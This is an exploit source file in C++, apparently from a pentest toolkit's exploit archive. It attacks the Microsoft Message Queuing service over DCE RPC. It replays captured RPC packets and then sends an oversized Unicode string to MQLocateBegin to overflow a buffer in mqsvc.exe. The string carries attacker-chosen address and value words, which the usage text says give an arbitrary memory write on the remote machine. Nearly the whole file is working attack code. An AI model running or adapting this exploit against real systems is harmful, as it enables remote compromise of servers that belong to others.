home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / allchin.cpp < prev    next >
C/C++ Source or Header  |  2005-02-12  |  30KB  |  843 lines

  1.  
  2.  
  3. /*
  4.  
  5.      A demonstration of the bug alluded to by Jim Allchin in his efforts to
  6.   explain how appallingly badly coded some of the work on Micro$oft's
  7.   enterprise-critical technologies truly is.  See
  8.  
  9.   http://www.eweek.com/article2/0,3959,5264,00.asp
  10.  
  11.   for details.
  12.  
  13.   <quote>
  14.   "The fact that I even mentioned the Message Queuing thing bothers me," he 
  15. said.
  16.   </quote>
  17.  
  18.   Well, it shouldn't really.  It only took half-an-hour's work to find this 
  19. bug;
  20.   multiply that by time wasted on perhaps experimenting with a dozen or so 
  21. of
  22.   the other M$ apis and you'll see that even without the hint, it wouldn't 
  23. have
  24.   been hard to find; and of course, many of those other apis have their own
  25.   problems.  Not disclosing it would have prevented absolutely nothing; 
  26. trying
  27.   to send a long string to a search-by-name function is just so completely
  28.   obvious that secrecy gets you nowhere.  YOU CAN'T HIDE ANYTHING FROM AN
  29.   INQUIRING MIND WITH A PACKET SNIFFER.[*]
  30.  
  31.  
  32.       (K) All Rites Reversed       -      Anti-copyright DaveK Oct 2003
  33.         Use as you will.  Everything is possible and nothing is real.
  34.                 Please send improvements, bugfixes or ideas to
  35.        blah spam               davek AT                 hahaparse this
  36.        nospambots    redneck dot gacracker dot org      you harvesters
  37.  
  38.   [*] - This offer void where prohibited by law, or strong crypto.
  39.  
  40. */
  41.  
  42.  
  43. #include <Winsock2.h>
  44. #include <stdio.h>
  45.  
  46. #pragma comment (lib, "ws2_32.lib")
  47.  
  48. // Standard typedefs and structs from the Open Group's
  49. // "Technical Standard DCE 1.1: Remote Procedure Call",
  50. // [Document Number C706]
  51.  
  52. typedef unsigned char uchar;
  53. typedef UUID    uuid_t;
  54. typedef unsigned short p_context_id_t;
  55. typedef struct {
  56.     uuid_t  if_uuid;
  57.     unsigned long if_version;
  58. } p_syntax_id_t;
  59.  
  60. typedef struct {
  61.     p_context_id_t  p_cont_id;
  62.     unsigned char   n_transfer_syn;   /* number of items */
  63.     unsigned char   reserved;         /* alignment pad, m.b.z. */
  64.     p_syntax_id_t   abstract_syntax;  /* transfer syntax list */
  65.     p_syntax_id_t   transfer_syntaxes[1];
  66. } p_cont_elem_t;
  67.  
  68. typedef struct {
  69.     unsigned char n_context_elem;   /* number of items */
  70.     unsigned char reserved;         /* alignment pad, m.b.z. */
  71.     u_short       reserved2;        /* alignment pad, m.b.z. */
  72.     p_cont_elem_t p_cont_elem[1];
  73. } p_cont_list_t;
  74.  
  75. //  Here's the connectionless rpc pdu header.
  76. typedef struct {
  77.     unsigned char rpc_vers; // = 4; /* RPC protocol major version (4 LSB 
  78. only)*/
  79.     unsigned char ptype;            /* Packet type (5 LSB only) */
  80.     unsigned char flags1;           /* Packet flags */
  81.     unsigned char flags2;           /* Packet flags */
  82.     char drep[3];                   /* Data representation format label */
  83.     unsigned char serial_hi;        /* High char of serial number */
  84.     uuid_t object;                  /* Object identifier */
  85.     uuid_t if_id;                   /* Interface identifier */
  86.     uuid_t act_id;                  /* Activity identifier */
  87.     unsigned long server_boot;      /* Server boot time */
  88.     unsigned long if_vers;          /* Interface version */
  89.     unsigned long seqnum;           /* Sequence number */
  90.     unsigned short opnum;           /* Operation number */
  91.     unsigned short ihint;           /* Interface hint */
  92.     unsigned short ahint;           /* Activity hint */
  93.     unsigned short len;             /* Length of packet body */
  94.     unsigned short fragnum;         /* Fragment number */
  95.     unsigned char auth_proto;       /* Authentication protocol identifier*/
  96.     unsigned char serial_lo;        /* Low char of serial number */
  97. } dc_rpc_cl_pkt_hdr_t;
  98.  
  99. /* common header for all connection-oriented pdus  */
  100. typedef struct {
  101.     /* start 8-octet aligned */
  102.     /* common fields */
  103.     unsigned char rpc_vers;  // = 5; /* 00:01 RPC version */
  104.     unsigned char rpc_vers_minor;    /* 01:01 minor version */
  105.     unsigned char PTYPE;             /* 02:01 PDU type */
  106.     unsigned char pfc_flags;         /* 03:01 flags */
  107.     char          packed_drep[4];    /* 04:04 NDR data rep format label*/
  108.     unsigned short frag_length;      /* 08:02 total length of fragment */
  109.     unsigned short auth_length;      /* 10:02 length of auth_value */
  110.     unsigned long call_id;           /* 12:04 call identifier */
  111.     /* end common fields */
  112. } rpcconn_common_hdr_t;
  113.  
  114. /* bind header (PTYPE = 11) */
  115. typedef struct {
  116.     /* start 8-octet aligned */
  117.     /* common fields */
  118.     rpcconn_common_hdr_t  pdu_hdr;
  119.     /* end common fields */
  120.     unsigned short max_xmit_frag;    /* 16:02 max transmit frag size, bytes 
  121. */
  122.     unsigned short max_recv_frag;    /* 18:02 max receive frag size, bytes 
  123. */
  124.     unsigned long assoc_group_id;    /* 20:04 incarnation of client-server
  125.     * assoc group */
  126.     /* presentation context list */
  127.     p_cont_list_t p_context_elem;    /* 24:?? variable size */
  128.   // We don't bother to capture auth info yet.
  129.     /* optional authentication verifier */
  130.     /* following fields present iff auth_length != 0 */
  131.     /* auth_verifier_co_t auth_verifier; */
  132. } rpcconn_bind_hdr_t;
  133.  
  134. /* request header (PTYPE = 0) */
  135. typedef struct {
  136.     /* start 8-octet aligned */
  137.     /* common fields */
  138.     rpcconn_common_hdr_t  pdu_hdr;
  139.     /* end common fields */
  140.     /* needed on request, response, fault */
  141.     unsigned long alloc_hint;             /* 16:04 allocation hint */
  142.     p_context_id_t p_cont_id;             /* 20:02 pres context, i.e. data 
  143. rep */
  144.     unsigned short opnum;                 /* 22:02 operation #
  145.     * within the interface */
  146.     /* optional field for request, only present if the PFC_OBJECT_UUID
  147.     * field is non-zero; specified in separate typedef below. */
  148.     /* uuid_t object;                     */   /* 24:16 object UID */
  149.     /* stub data, 8-octet aligned
  150.     .
  151.     .
  152.     .*/
  153.   // We don't bother to capture auth info yet.
  154.     /* optional authentication verifier */
  155.     /* following fields present iff auth_length != 0 */
  156.     /* auth_verifier_co_t auth_verifier; */ /* xx:yy */
  157. } rpcconn_request_hdr_t;
  158.  
  159. /* request header (PTYPE = 0) with object field */
  160. typedef struct {
  161.     /* start 8-octet aligned */
  162.     /* common fields */
  163.     rpcconn_request_hdr_t  ob_req_hdr;
  164.     /* optional field for request, assumes that PFC_OBJECT_UUID
  165.     * field is non-zero */
  166.     uuid_t object;                        /* 24:16 object UID */
  167.     /* stub data, 8-octet aligned
  168.     .
  169.     .
  170.     .*/
  171.   // We don't bother to capture auth info yet.
  172.     /* optional authentication verifier */
  173.     /* following fields present iff auth_length != 0 */
  174.     /* auth_verifier_co_t auth_verifier; */ /* xx:yy */
  175. } rpcconn_object_request_hdr_t;
  176.  
  177. /* response header (PTYPE = 2) */
  178. typedef struct {
  179.     /* start 8-octet aligned */
  180.     /* common fields */
  181.     rpcconn_common_hdr_t  pdu_hdr;
  182.     /* end common fields */
  183.     /* needed for request, response, fault */
  184.     unsigned long alloc_hint;             /* 16:04 allocation hint */
  185.     p_context_id_t p_cont_id;             /* 20:02 pres context, i.e.
  186.     * data rep */
  187.     /* needed for response or fault */
  188.     unsigned char cancel_count;           /* 22:01 cancel count */
  189.     unsigned char reserved;               /* 23:01 reserved, m.b.z. */
  190.     /* stub data here, 8-octet aligned
  191.     .
  192.     .
  193.     .*/
  194.   // We don't bother to capture auth info yet.
  195.     /* optional authentication verifier */
  196.     /* following fields present iff auth_length != 0 */
  197.     /* auth_verifier_co_t auth_verifier; */ /* xx:yy */
  198. } rpcconn_response_hdr_t;
  199.  
  200.  
  201. //  This is the bind request that we send to get the MSMQ rpc interface up.
  202.  
  203. /*
  204.  
  205.     Frame Number: '41'
  206.     Header length: '20 bytes'
  207.     Protocol: 'TCP (0x06)'
  208.     Source: '(192.168.80.1)'
  209.     Destination: '(192.168.80.5)'
  210.     Source port: '(1356)'
  211.     Destination port: '(2101)'
  212.     Header length: '20 bytes'
  213.     Version: '5'
  214.     Version (minor): '0'
  215.     Packet type: '0b)'
  216.     Packet Flags: '03'
  217.     Data Representation: '10000000'
  218.     Frag Length: '72'
  219.     Auth Length: '0'
  220.     Call ID: '1'
  221.     Max Xmit Frag: '5840'
  222.     Max Recv Frag: '5840'
  223.     Assoc Group: '00000000     ; 0x000219bf'
  224.     Num Ctx Items: '1'
  225.     Context ID: '1'
  226.     Num Trans Items: '1'
  227.     Interface UUID: '77df7a80-f298-11d0-8358-00a024c480a8'
  228.     Interface Ver: '1'
  229.     Interface Ver Minor: '0'
  230.     Transfer Syntax: '8a885d04-1ceb-11c9-9fe8-08002b104860'
  231.     Syntax ver: '2'
  232.  
  233. */
  234.  
  235. unsigned char 
  236. tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header[] = {
  237.   
  238. 0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
  239.   
  240. 0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
  241.   
  242. 0x80,0x7a,0xdf,0x77,0x98,0xf2,0xd0,0x11,0x83,0x58,0x00,0xa0,0x24,0xc4,0x80,0xa8,
  243.   
  244. 0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
  245.   0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
  246. };
  247.  
  248. //   This request must be the first sent once we have bound the interface.
  249. // There is no corresponding function in the MQ api in the SDK; but opnum 22
  250. // returns a 16-byte handle/guid/similar that needs to be part of the actual
  251. // MQLocateBegin request that we synthesize later, so I'd call it something
  252. // like MQOpenMQISHandle.  There's a corresponding close function, opnum 23,
  253. // but we aren't going to bother with it.
  254.  
  255. /*
  256.  
  257.     Frame Number: '47'
  258.     Header length: '20 bytes'
  259.     Protocol: 'TCP (0x06)'
  260.     Source: '(192.168.80.1)'
  261.     Destination: '(192.168.80.5)'
  262.     Source port: '(1356)'
  263.     Destination port: '(2101)'
  264.     Header length: '20 bytes'
  265.     Version: '5'
  266.     Version (minor): '0'
  267.     Packet type: '00)'
  268.     Packet Flags: '03'
  269.     Data Representation: '10000000'
  270.     Frag Length: '68'
  271.     Auth Length: '0'
  272.     Call ID: '2'
  273.     Alloc hint: '44'
  274.     Context ID: '1'
  275.     Opnum: '22'
  276.     Stub data '44 bytes)'
  277.   [Inferred stub data offset $4e]
  278.  
  279.   Appended 44 bytes of stub data from offset $004e
  280.  
  281. */
  282.  
  283. unsigned char tcp_req_op_22_id_2_frame_47_header[] = {
  284.   
  285. 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
  286.   0x2c,0x00,0x00,0x00,0x01,0x00,0x16,0x00
  287. };
  288.  
  289. unsigned char tcp_req_op_22_id_2_frame_47_stubdata[] = {
  290.   0x51,0xcc,0xdb,0x57,0x38,0x1f,0x45,0x42,
  291.   
  292. 0xb4,0xfc,0xc1,0x14,0xb3,0x3e,0x01,0xf7,0x00,0x00,0x00,0x00,0x2c,0xfc,0x11,0x00,
  293.   
  294. 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  295.   0x00,0x00,0x00,0x00
  296. };
  297.  
  298. // And here we go.  This is opnum 6, MQLocateBegin.  The stubdata was 
  299. derived
  300. // from sniffing the wire while doing a series of MQLocateBegin/End 
  301. operations
  302. // with a string that got longer by one unicode 'A' each time.  The string
  303. // length is checked locally by the MQLocateBegin function before sending, 
  304. but
  305. // the mqsvc exe just assumes the data is valid because it assumes the 
  306. packet
  307. // was checked by the remote end before sending.   BIG mistake.....!
  308.  
  309. /*
  310.  
  311.     Frame Number: '49'
  312.     Header length: '20 bytes'
  313.     Protocol: 'TCP (0x06)'
  314.     Source: '(192.168.80.1)'
  315.     Destination: '(192.168.80.5)'
  316.     Source port: '(1356)'
  317.     Destination port: '(2101)'
  318.     Header length: '20 bytes'
  319.     Version: '5'
  320.     Version (minor): '0'
  321.     Packet type: '00)'
  322.     Packet Flags: '03'
  323.     Data Representation: '10000000'
  324.     Frag Length: '372'
  325.     Auth Length: '0'
  326.     Call ID: '3'
  327.     Alloc hint: '348'
  328.     Context ID: '1'
  329.     Opnum: '6'
  330.     Stub data '348 bytes)'
  331.   [Inferred stub data offset $4e]
  332.  
  333.   Appended 348 bytes of stub data from offset $004e
  334.  
  335. */
  336.  
  337. unsigned char tcp_req_op_6_id_3_frame_49_header[] = {
  338.   
  339. 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x74,0x01,0x00,0x00,0x03,0x00,0x00,0x00,
  340.   0x5c,0x01,0x00,0x00,0x01,0x00,0x06,0x00
  341. };
  342.  
  343. unsigned char tcp_req_op_6_id_3_frame_49_stubdata[] = {
  344.   0x00,0x00,0x00,0x00,0xf8,0xfe,0x12,0x00,
  345.   
  346. 0x01,0x00,0x00,0x00,0x00,0xff,0x12,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  347.   
  348. 0x04,0x00,0x00,0x00,0x6c,0x00,0x00,0x00,0x1f,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
  349.   
  350. 0x1f,0x00,0x06,0x09,0xf0,0xfe,0x11,0x00,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  351.   
  352. 0x79,0x00,0x00,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  353.   
  354. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  355.   
  356. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  357.   
  358. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  359.   
  360. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  361.   
  362. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  363.   
  364. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  365.   
  366. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  367.   
  368. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  369.   
  370. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  371.   
  372. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  373.   
  374. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  375.   
  376. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  377.   
  378. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  379.   
  380. 0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
  381.   
  382. 0x41,0x00,0x41,0x00,0x00,0x00,0x08,0x00,0x02,0x00,0x00,0x00,0xe0,0xfe,0x11,0x00,
  383.   
  384. 0x02,0x00,0x00,0x00,0x65,0x00,0x00,0x00,0x6d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  385.   
  386. 0x00,0x00,0x00,0x00,0x00,0x6d,0xae,0x0c,0x34,0xe5,0xd7,0x11,0xa6,0xf4,0x00,0x50,
  387.   0x8b,0xfb,0x13,0x17
  388. };
  389.  
  390.  
  391. // Ok, here are three generic helper routines that I use in a lot of my 
  392. code.
  393. static inline const char * getfilenamepart (const char *ptr)
  394. {
  395. const char * fn;
  396.  
  397.     fn = ptr;
  398.     while (*ptr)
  399.     {
  400.         if ((*ptr == '\\') || (*ptr == '/'))
  401.             fn = ptr + 1;
  402.         ++ptr;
  403.     }
  404.     return fn;
  405. }
  406.  
  407. static int parse_dotted_quad (const char *string, unsigned int *ipaddr, 
  408. unsigned short *port)
  409. {
  410. unsigned int a, b, c, d, p;
  411. int n, len;
  412. unsigned int ad;
  413. unsigned short po;
  414.  
  415.     a = b = c = d = p = len = 0;
  416.     // FIXME: should perhaps handle ip addresses with only 1, 2 or 3 numeric
  417.     // parts as well, as per definition of inet_addr; alas that function is
  418.     // no use here because it fails if there is a ":port" suffix.
  419.     len = -1;
  420.   if (port)
  421.       n = sscanf (string, "%i.%i.%i.%i:%i%n", &a, &b, &c, &d, &p, &len);
  422.   else
  423.     n = 0;
  424.     // despite what it says in the SDK docs sscanf does not return the
  425.     // number of fields scanned - only the number of conversions: %n is
  426.     // a field scanned but not a conversion and doesn't get counted!
  427.     if (n != 5)
  428.     {
  429.         n = sscanf (string, "%i.%i.%i.%i%n", &a, &b, &c, &d, &len);
  430.         if (n != 4)
  431.             return 0;
  432.     }
  433.     // ok it looks valid, but in order not to be fooled by names like
  434.     // 1.2.3.4.domain (isp host rDNS often looks like this) we must be
  435.     // sure that the string end here with whitespace or eol or NUL
  436.     if (!string[len] || isspace ((unsigned char)string[len])
  437.                         || (string[len] == '\r') || (string[len] == 'n'))
  438.     {
  439.         // hoorah! return ipaddr and port! in host order!
  440.         ad = (a << 24) | (b << 16) | (c << 8) | d;
  441.         po = (unsigned short)(p & 0xffff);
  442.         if (ipaddr)
  443.             *ipaddr = ad;
  444.         if (port && (n == 5))
  445.             *port = po;
  446.         return len;
  447.     }
  448.     // failed
  449.     return 0;
  450. }
  451.  
  452. static int parse_hostnameport (const char *string, unsigned int *ipaddr, 
  453. unsigned short *port, int resolve, int verbose, const char *banner)
  454. {
  455. int len;
  456. unsigned int ad;
  457. unsigned int po;
  458. struct hostent FAR * FAR myhost;
  459. char namepart[400];
  460.  
  461.     // skip wspc be nice
  462.     while (isspace (*string))
  463.         ++string;
  464.     // we must see if there is a :port attached to the string end!
  465.     len = 0;
  466.     while ((string[len] != ':') && (string[len]) && !isspace (string[len]))
  467.     {
  468.         namepart[len] = string[len];
  469.         ++len;
  470.     }
  471.     if (string[len] == ':')
  472.     {
  473.         sscanf (&string[len+1], "%d", &po);
  474.         *port = po;
  475.     }
  476.  
  477.     if (!resolve)
  478.         return len;
  479.  
  480.     namepart[len] = 0;
  481.     myhost = gethostbyname (namepart);
  482.     if ((verbose >= 2) || ((verbose == 1) && !myhost))
  483.         fprintf (stderr, "%sget host ip for name %s %s", banner, namepart, myhost 
  484. ? "succeeds" : "fails\n");
  485.     if (!myhost)
  486.         return 0;
  487.     // so we gotta return an ip address then!
  488.     memcpy (&ad, myhost->h_addr_list[0], sizeof (ad));
  489.     // but we are a parse routine so return in host order
  490.     ad = ntohl (ad);
  491.     *ipaddr = ad;
  492.     if (verbose >= 2)
  493.         fprintf (stderr, " - %d.%d.%d.%d\n", ad >> 24, (ad >> 16) & 0xff,
  494.                                     (ad >> 8) & 0xff, ad & 0xff);
  495.     return len;
  496. }
  497.  
  498. // Reads a dce reply; either discards it if no rcvbuf is
  499. // specified, or supplies the first min (rcvsz, frag_len) bytes
  500. // in the buffer you pass in.
  501. int read_dce_reply (SOCKET sock, char *rcvbuf, int rcvsz)
  502. {
  503. char buffer[4096];
  504. int amount, this_time, actual, rv;
  505. rpcconn_common_hdr_t *hdr;
  506.  
  507.   // Read the fixed size header
  508.   rv = recv (sock, buffer, sizeof *hdr, 0);
  509.   if (rv != sizeof *hdr)
  510.     return -1;
  511.   hdr = (rpcconn_common_hdr_t *)buffer;
  512.   amount = hdr->frag_length - sizeof *hdr;
  513.  
  514.   // copy as much hdr as wanted into rcvbuf
  515.   if (rcvbuf && rcvsz)
  516.   {
  517.     this_time = (rcvsz >= sizeof *hdr) ? sizeof *hdr : rcvsz;
  518.     memcpy (rcvbuf, buffer, this_time);
  519.     rcvbuf += this_time;
  520.     rcvsz -= this_time;
  521.   }
  522.  
  523.   while (amount)
  524.   {
  525.     this_time = (amount >= 4096) ? 4096 : amount;
  526.     actual = recv (sock, buffer, this_time, 0);
  527.     if (actual <= 0)
  528.       return -1;
  529.     amount -= actual;
  530.     // copy as much data as wanted into rcvbuf
  531.     if (rcvbuf && rcvsz)
  532.     {
  533.       this_time = (rcvsz >= actual) ? actual : rcvsz;
  534.       memcpy (rcvbuf, buffer, this_time);
  535.       rcvbuf += this_time;
  536.       rcvsz -= this_time;
  537.     }
  538.   }
  539.   return 0;
  540. }
  541.  
  542. // Assembles a DCE frag from a header and some stubdata, and
  543. // sends it in one swell foop.
  544. int send_dce_packet (const uchar *hdr, int hdrsz, const uchar *stubdat, int 
  545. stubdatsz, SOCKET sock)
  546. {
  547. static char *packetbuf = NULL;
  548. static int packetbufsz = 0;
  549.  
  550.   if (!hdr || !hdrsz)
  551.     return -1;
  552.   if (!stubdatsz || !stubdat)
  553.     return send (sock, (const char *)hdr, hdrsz, 0) == hdrsz ? 0 : 
  554. WSAGetLastError ();
  555.   // there are no stream markers in tcp so there is no strict need to send 
  556. as one
  557.   // packet, but it will look better in a netsniffer display if we do.. so 
  558. we do.
  559.   if (packetbufsz < (hdrsz + stubdatsz))
  560.   {
  561.     if (packetbuf)
  562.       free (packetbuf);
  563.     packetbuf = (char *) malloc (hdrsz + stubdatsz);
  564.     packetbufsz = packetbuf ? (hdrsz + stubdatsz) : 0;
  565.     if (!packetbuf)
  566.       return -1;
  567.   }
  568.   // assemble packet in buff
  569.   memcpy (packetbuf, hdr, hdrsz);
  570.   memcpy (packetbuf + hdrsz, stubdat, stubdatsz);
  571.   int rv = send (sock, packetbuf, hdrsz + stubdatsz, 0) == (hdrsz + 
  572. stubdatsz) ? 0 : WSAGetLastError ();
  573.   //free (packetbuf);
  574.   return rv;
  575. }
  576.  
  577. // Binds the MSMQ interface, opens a handle to the MQIS, then builds a 
  578. packet
  579. // that represents a MQLocateBegin operation, passing a single MQRESTRICTION
  580. // on the PROPID_Q_LABEL property that tests for PREQ against an over-sized
  581. // unicode string.  The columnset data specifies we want the 
  582. PROPID_Q_INSTANCE
  583. // and PROPID_Q_CREATE_TIME data returned, but mqsvc.exe won't get that 
  584. far.....
  585. int test_overflow (int argc, const char **argv, int stringsize, DWORD 
  586. addr2write, DWORD val2write, SOCKET insocket)
  587. {
  588. const char *hostname = argv[1];
  589. int rv, err;
  590. unsigned int ipaddr;
  591. unsigned short port;
  592. SOCKET sendsock;
  593. char replybuf[4096];
  594.  
  595.   if (!hostname)
  596.     return -1;
  597.     err = 0;
  598.     port = 0;
  599.     // the parse functions return host byte order; we convert
  600.     // to network byte order for use in sockaddr structure
  601.     if (parse_dotted_quad (hostname, &ipaddr, &port))
  602.     {
  603.         ipaddr = htonl (ipaddr);
  604.         port = htons (port);
  605.     }
  606.     else if (parse_hostnameport (hostname, &ipaddr, &port, TRUE, 1, ""))
  607.     {
  608.         ipaddr = htonl (ipaddr);
  609.         port = htons (port);
  610.     }
  611.     else
  612.     {
  613.         fprintf (stderr, "Can't resolve host! %s - %d", hostname, WSAGetLastError 
  614. ());
  615.         return (-1);
  616.     }
  617.   if (insocket != INVALID_SOCKET)
  618.     sendsock = insocket;
  619.   else
  620.     sendsock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
  621.   if (sendsock == INVALID_SOCKET)
  622.   {
  623.         fprintf (stderr, "Can't create socket! %s - %d", hostname, WSAGetLastError 
  624. ());
  625.         return (-1);
  626.   }
  627.  
  628.   // default port:
  629.   if (!port)
  630.     port = htons (2101);
  631.  
  632.   // and setup the dest addr structure...
  633.   struct sockaddr_in dest_addr;
  634.  
  635.   dest_addr.sin_addr.S_un.S_addr = ipaddr;
  636.   dest_addr.sin_port = port;
  637.   dest_addr.sin_family = AF_INET;
  638.   memset (&dest_addr.sin_zero, 0, sizeof dest_addr.sin_zero);
  639.  
  640.   // try the connect!
  641.   if (connect (sendsock, (sockaddr *)&dest_addr, sizeof dest_addr))
  642.   {
  643.     rv = WSAGetLastError ();
  644.     if (insocket != INVALID_SOCKET)
  645.       closesocket (sendsock);
  646.     return rv;
  647.   }
  648.  
  649.   // and send the generated packets to the target
  650.   rv = send_dce_packet 
  651. (tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
  652.     sizeof 
  653. tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
  654.     NULL, 0, sendsock);
  655.  
  656.   if (!rv)
  657.     rv = read_dce_reply (sendsock, NULL, 0);
  658.   if (!rv)
  659.     rv = send_dce_packet (tcp_req_op_22_id_2_frame_47_header,
  660.       sizeof tcp_req_op_22_id_2_frame_47_header, 
  661. tcp_req_op_22_id_2_frame_47_stubdata,
  662.       sizeof tcp_req_op_22_id_2_frame_47_stubdata, sendsock);
  663.   // after the response pdu hdr comes 24 bytes reply stubdata:
  664.   // 1 dword 0 ?= reply status?, 16 bytes uuid/handle/suchlike, 1 DWORD 0 
  665. again.
  666.   if (!rv)
  667.     rv = read_dce_reply (sendsock, replybuf, 64);
  668.   if (!rv)
  669.   {
  670.  
  671.     // The real question is how do we modify the data to send a longer
  672.     // string of L'A' as the search path?
  673.     // well, the main differences seem to be:
  674.     // There are two DWORD 0x00000079 that need to be changed to the new 
  675. string len:
  676.     //  they are at offsets 0x30 and 0x38 in the string.  store the new # of 
  677. A's
  678.     // there.  Then append the string.
  679.     // The string length includes the terminating zero.  So in the above 
  680. case,
  681.     // we'd have 0x78 shorts of 0x0041 (unicode A) followed by a unicode 0 
  682. (nul-term).
  683.     // If the string len you chose was odd, add a short of padding as well 
  684. to
  685.     // align the result.
  686.     // Then append the next 0x1c bytes taken from offset 0x130 in the sample 
  687. packet
  688.     // finally append the 16 guid bytes you received earlier.
  689.  
  690.     unsigned char *outbuf = NULL;
  691.     int stubsize = 0x3c + 2 * stringsize + (stringsize & 1 ? 2 : 0) + 0x2c;
  692.     outbuf = (unsigned char *) malloc (stubsize);
  693.     if (outbuf && !rv)
  694.     {
  695.       // Start assembling the stubdata for opnum 6.....
  696.       memcpy (outbuf, tcp_req_op_6_id_3_frame_49_stubdata, 0x30);
  697.       // write the string max count, offset and actual count, as per NDR for 
  698. a
  699.       // conformant varying array of unicode chrs.
  700.       *(DWORD *)(outbuf + 0x30) = stringsize;
  701.       *(DWORD *)(outbuf + 0x34) = 0;
  702.       *(DWORD *)(outbuf + 0x38) = stringsize;
  703.       // Now assemble the string
  704.       short * unichrptr = (short *)(outbuf + 0x3c);
  705.       int n = stringsize - 1;
  706. #if 0
  707.       while (n--)
  708.         *unichrptr++ = L'A';
  709. #else
  710.       short unichr = 0x4101;
  711.       // lop off last 4 chrs for addr and val to write...
  712.       n -= 4;
  713.       // build remainder of overflow string
  714.       while (n--)
  715.         *unichrptr++ = unichr++;
  716.       // now the values to write
  717.       *unichrptr++ = (short)(val2write & 0xffff);
  718.       *unichrptr++ = (short)(val2write >> 16) & 0xffff;
  719.       *unichrptr++ = (short)(addr2write & 0xffff);
  720.       *unichrptr++ = (short)(addr2write >> 16) & 0xffff;
  721. #endif
  722.       *unichrptr++ = L'\0';
  723.       // array may need padding to get everything 4-aligned again.
  724.       if (stringsize & 1)
  725.         *unichrptr++ = L'\0';
  726.       // Right.  Append the remaining stub data from the opnum 6 call
  727.       unsigned char *chrptr = (unsigned char *)unichrptr;
  728.       memcpy (chrptr, tcp_req_op_6_id_3_frame_49_stubdata+0x130, 0x1c);
  729.       chrptr += 0x1c;
  730.       // and the mqis handle we received earlier
  731.       memcpy (chrptr, replybuf + sizeof rpcconn_response_hdr_t + 4, 16);
  732.       chrptr += 16;
  733.       // also we must set the frag length
  734.       rpcconn_request_hdr_t *hdr = (rpcconn_request_hdr_t 
  735. *)tcp_req_op_6_id_3_frame_49_header;
  736.       hdr->alloc_hint = stubsize;
  737.       hdr->pdu_hdr.frag_length = stubsize + sizeof *hdr;
  738.       // We are good to go!
  739.       rv = send_dce_packet (tcp_req_op_6_id_3_frame_49_header,
  740.         sizeof tcp_req_op_6_id_3_frame_49_header, outbuf, chrptr - outbuf, 
  741. sendsock);
  742.       // This will fail if the overflow succeeded; if however the string 
  743. length we
  744.       // chose was too short, we'll get some kind of reply back and try 
  745. again with
  746.       // a longer string.
  747.       if (!rv)
  748.         rv = read_dce_reply (sendsock, NULL, 0);
  749.       free (outbuf);
  750.     }
  751.     else if (outbuf)
  752.       free (outbuf);
  753.   }
  754.   // all done with the socket now
  755.   if (insocket != INVALID_SOCKET)
  756.     closesocket (sendsock);
  757.   return 0;
  758. }
  759.  
  760. int usage (int argc, const char **argv)
  761. {
  762.     const char * fn = getfilenamepart (argv[0]);
  763.     fprintf (stderr, "\nUsage:\n\n    %s host[:port] addr2write val2write 
  764. [strmin [strmax]]\n", fn);
  765.     fprintf (stderr, "\n");
  766.     fprintf (stderr, "Function:\n\n  Writes an arbitrary DWORD value to an 
  767. arbitrary location in the process\n");
  768.   fprintf (stderr, "memory of the mqsvc.exe on the remote machine.  Tested 
  769. on W2kASv/Sp2.\n");
